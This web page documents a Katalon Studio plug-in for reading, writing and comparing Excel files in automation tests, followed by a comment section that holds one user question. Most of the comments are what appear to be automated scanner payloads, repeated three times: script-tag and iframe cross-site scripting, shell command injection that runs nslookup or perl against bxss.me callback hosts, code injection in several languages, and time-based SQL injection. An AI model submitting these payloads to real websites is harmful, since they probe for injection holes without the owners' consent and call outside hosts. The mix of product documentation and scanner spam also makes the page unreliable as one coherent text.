This plug-in makes writing automation tests using excel files (.xls and .xlsx) much easier by reading, writing, and comparing Excel files.
Some key features of this plug-in are:
- Create an excel file with the provided file path
- Get an instance of a workbook object from an excel file
- Create one or many excel sheets in a workbook
- Generate a list of the sheet names in a workbook
- Read the value of one or many of the cells within a sheet
- Write value into one or many of the cells in a sheet
- Save a workbook into an excel file
- Compare two excel files, two sheets, two rows, or two cells
- Supported Excel file types: .xlsx and .xls (from Excel versions 97/2000/XP/2003). It does not work with Excel versions 5.0/95.
Katalon Studio version supported: v6.0.5 or later To make things easier, we have included a sample with test cases using the plug-in. Download it here.
Follow the steps below to install and begin using the plug-in.
Installing The Plug-in
Create/Open Katalon project (Katalon Studio version v6.0.5 or later)
Select Project > Settings > External Libraries
Add ExcelKeywords.jar, then click OK.
On the test case file, import com.kms.katalon.keyword.excel.ExcelKeywords. You can now use the plug-in.
To import Java Documentation of the Plug-in:
Hover on import com.kms.katalon.keyword.excel.ExcelKeywords, right click, then select Open Declaration.
Select Attach Source on Class File Editor page.
Add ExcelKeywords-sources.jar to External location to attach the Javadoc.
Now, you could see the JavaDoc of ExcelKeywords Plug-in while you are working with your test cases
Visit Katalon Forum for Plugin related discussions.
%35%35%35%3C%53%63%52%69%50%74%20%3E%4A%48%36%30%289942%29%3C%2F%73%43%72%69%70%54%3E
555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9291'>
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
'+'A'.concat(70-3).concat(22*4).concat(105).concat(86).concat(116).concat(81)+(require'socket' Socket.gethostbyname('hituz'+'rxvvfuya1f55a.bxss.me.')[3].to_s)+'
"+"A".concat(70-3).concat(22*4).concat(116).concat(90).concat(113).concat(88)+(require"socket" Socket.gethostbyname("hitzz"+"rimtrbjxb7363.bxss.me.")[3].to_s)+"
"+(function(){if(typeof xr2b7p==="undefined"){var a=new Date();do{var b=new Date();}while(b-a<10000);xr2b7p=1;}}())+"
'+(function(){if(typeof xJ5dZ0==="undefined"){var a=new Date();do{var b=new Date();}while(b-a<10000);xJ5dZ0=1;}}())+'
+(function(){if(typeof xjlPwe==="undefined"){var a=new Date();do{var b=new Date();}while(b-a<10000);xjlPwe=1;}}())+
(function(){if(typeof x9zIIF==="undefined"){var a=new Date();do{var b=new Date();}while(b-a<10000);x9zIIF=1;}}())
".gethostbyname(lc("hitix"."npxklncrc2491.bxss.me."))."A".chr(67).chr(hex("58")).chr(119).chr(85).chr(113).chr(69)."
'.gethostbyname(lc('hitrl'.'ohfxmvar8af82.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(109).chr(83).chr(109).chr(77).'
;(nslookup hitxcomobhwuh780bf.bxss.me||perl -e "gethostbyname('hitxcomobhwuh780bf.bxss.me')")|(nslookup hitxcomobhwuh780bf.bxss.me||perl -e "gethostbyname('hitxcomobhwuh780bf.bxss.me')")&(nslookup hitxcomobhwuh780bf.bxss.me||perl -e "gethostbyname('hitxcomobhwuh780bf.bxss.me')")
`(nslookup hitqoziofduswb1eb7.bxss.me||perl -e "gethostbyname('hitqoziofduswb1eb7.bxss.me')")`
|(nslookup hitlzntqpwrmza65a6.bxss.me||perl -e "gethostbyname('hitlzntqpwrmza65a6.bxss.me')")
&(nslookup hiteomlbrufce0b1d1.bxss.me||perl -e "gethostbyname('hiteomlbrufce0b1d1.bxss.me')")&'\"`0&(nslookup hiteomlbrufce0b1d1.bxss.me||perl -e "gethostbyname('hiteomlbrufce0b1d1.bxss.me')")&`'
$(nslookup hitgemiptakti2e536.bxss.me||perl -e "gethostbyname('hitgemiptakti2e536.bxss.me')")
(nslookup hitumdrlthlia7673d.bxss.me||perl -e "gethostbyname('hitumdrlthlia7673d.bxss.me')")
|echo dstvth$()\ clzhlt\nz^xyu||a #' |echo dstvth$()\ clzhlt\nz^xyu||a #|" |echo dstvth$()\ clzhlt\nz^xyu||a #
&echo sykdmu$()\ wqccxq\nz^xyu||a #' &echo sykdmu$()\ wqccxq\nz^xyu||a #|" &echo sykdmu$()\ wqccxq\nz^xyu||a #
echo qqcvqf$()\ mzmkmh\nz^xyu||a #' &echo qqcvqf$()\ mzmkmh\nz^xyu||a #|" &echo qqcvqf$()\ mzmkmh\nz^xyu||a #
http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
I installed the plugin, but I dont see ExcelKeywords.jar, any help? thank you
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
'+'A'.concat(70-3).concat(22*4).concat(101).concat(69).concat(101).concat(65)+(require'socket' Socket.gethostbyname('hitml'+'vzoqvanvda78d.bxss.me.')[3].to_s)+'
"+(function(){if(typeof xElEie==="undefined"){var a=new Date();do{var b=new Date();}while(b-a<10000);xElEie=1;}}())+"
"+"A".concat(70-3).concat(22*4).concat(121).concat(89).concat(112).concat(79)+(require"socket" Socket.gethostbyname("hitkc"+"szdgljwy2858c.bxss.me.")[3].to_s)+"
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
'+(function(){if(typeof xueMyf==="undefined"){var a=new Date();do{var b=new Date();}while(b-a<10000);xueMyf=1;}}())+'
+(function(){if(typeof xoUOsp==="undefined"){var a=new Date();do{var b=new Date();}while(b-a<10000);xoUOsp=1;}}())+
".gethostbyname(lc("hitkn"."iibjtpqnbb0d1.bxss.me."))."A".chr(67).chr(hex("58")).chr(116).chr(79).chr(100).chr(71)."
(function(){if(typeof x3B7od==="undefined"){var a=new Date();do{var b=new Date();}while(b-a<10000);x3B7od=1;}}())
;(nslookup hitwrtkdmwbao68c1a.bxss.me||perl -e "gethostbyname('hitwrtkdmwbao68c1a.bxss.me')")|(nslookup hitwrtkdmwbao68c1a.bxss.me||perl -e "gethostbyname('hitwrtkdmwbao68c1a.bxss.me')")&(nslookup hitwrtkdmwbao68c1a.bxss.me||perl -e "gethostbyname('hitwrtkdmwbao68c1a.bxss.me')")
'.gethostbyname(lc('hitzm'.'oqmyxmqg12376.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(110).chr(88).chr(109).chr(77).'
`(nslookup hitetkfbhtvtdc045f.bxss.me||perl -e "gethostbyname('hitetkfbhtvtdc045f.bxss.me')")`
|(nslookup hitvapseijgqj153c3.bxss.me||perl -e "gethostbyname('hitvapseijgqj153c3.bxss.me')")
&(nslookup hitdouyqpcuex3a719.bxss.me||perl -e "gethostbyname('hitdouyqpcuex3a719.bxss.me')")&'\"`0&(nslookup hitdouyqpcuex3a719.bxss.me||perl -e "gethostbyname('hitdouyqpcuex3a719.bxss.me')")&`'
$(nslookup hitlmffalffho7f45d.bxss.me||perl -e "gethostbyname('hitlmffalffho7f45d.bxss.me')")
(nslookup hitzmddlxizst0f8ce.bxss.me||perl -e "gethostbyname('hitzmddlxizst0f8ce.bxss.me')")
|echo bxirwp$()\ bowhjk\nz^xyu||a #' |echo bxirwp$()\ bowhjk\nz^xyu||a #|" |echo bxirwp$()\ bowhjk\nz^xyu||a #
&echo fibdpz$()\ trtndk\nz^xyu||a #' &echo fibdpz$()\ trtndk\nz^xyu||a #|" &echo fibdpz$()\ trtndk\nz^xyu||a #
echo blfslt$()\ kuxipl\nz^xyu||a #' &echo blfslt$()\ kuxipl\nz^xyu||a #|" &echo blfslt$()\ kuxipl\nz^xyu||a #
http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
'+'A'.concat(70-3).concat(22*4).concat(113).concat(78).concat(115).concat(90)+(require'socket' Socket.gethostbyname('hitdf'+'shnihiyl692da.bxss.me.')[3].to_s)+'
"+(function(){if(typeof xCDizK==="undefined"){var a=new Date();do{var b=new Date();}while(b-a<10000);xCDizK=1;}}())+"
"+"A".concat(70-3).concat(22*4).concat(115).concat(65).concat(109).concat(78)+(require"socket" Socket.gethostbyname("hitde"+"mreylmlma11b7.bxss.me.")[3].to_s)+"
'+(function(){if(typeof xigwp3==="undefined"){var a=new Date();do{var b=new Date();}while(b-a<10000);xigwp3=1;}}())+'
+(function(){if(typeof xorq4J==="undefined"){var a=new Date();do{var b=new Date();}while(b-a<10000);xorq4J=1;}}())+
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
".gethostbyname(lc("hitau"."jjjaatwqbcd25.bxss.me."))."A".chr(67).chr(hex("58")).chr(104).chr(66).chr(97).chr(86)."
(function(){if(typeof xpEjvL==="undefined"){var a=new Date();do{var b=new Date();}while(b-a<10000);xpEjvL=1;}}())
;(nslookup hitznucbcsxqb5c4c3.bxss.me||perl -e "gethostbyname('hitznucbcsxqb5c4c3.bxss.me')")|(nslookup hitznucbcsxqb5c4c3.bxss.me||perl -e "gethostbyname('hitznucbcsxqb5c4c3.bxss.me')")&(nslookup hitznucbcsxqb5c4c3.bxss.me||perl -e "gethostbyname('hitznucbcsxqb5c4c3.bxss.me')")
`(nslookup hittvrvyuwadc54bfc.bxss.me||perl -e "gethostbyname('hittvrvyuwadc54bfc.bxss.me')")`
'.gethostbyname(lc('hitbo'.'fskhtaxn58a7f.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(103).chr(69).chr(118).chr(80).'
|(nslookup hittjnuqttsai5c693.bxss.me||perl -e "gethostbyname('hittjnuqttsai5c693.bxss.me')")
&(nslookup hitzvprqyeyem41b5f.bxss.me||perl -e "gethostbyname('hitzvprqyeyem41b5f.bxss.me')")&'\"`0&(nslookup hitzvprqyeyem41b5f.bxss.me||perl -e "gethostbyname('hitzvprqyeyem41b5f.bxss.me')")&`'
$(nslookup hitjnadnpsegu193bf.bxss.me||perl -e "gethostbyname('hitjnadnpsegu193bf.bxss.me')")
(nslookup hitercyckfzbt6ab81.bxss.me||perl -e "gethostbyname('hitercyckfzbt6ab81.bxss.me')")
|echo gppccc$()\ jniydq\nz^xyu||a #' |echo gppccc$()\ jniydq\nz^xyu||a #|" |echo gppccc$()\ jniydq\nz^xyu||a #
&echo tzjnvl$()\ jtckuy\nz^xyu||a #' &echo tzjnvl$()\ jtckuy\nz^xyu||a #|" &echo tzjnvl$()\ jtckuy\nz^xyu||a #
echo sinikd$()\ vaelen\nz^xyu||a #' &echo sinikd$()\ vaelen\nz^xyu||a #|" &echo sinikd$()\ vaelen\nz^xyu||a #
http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg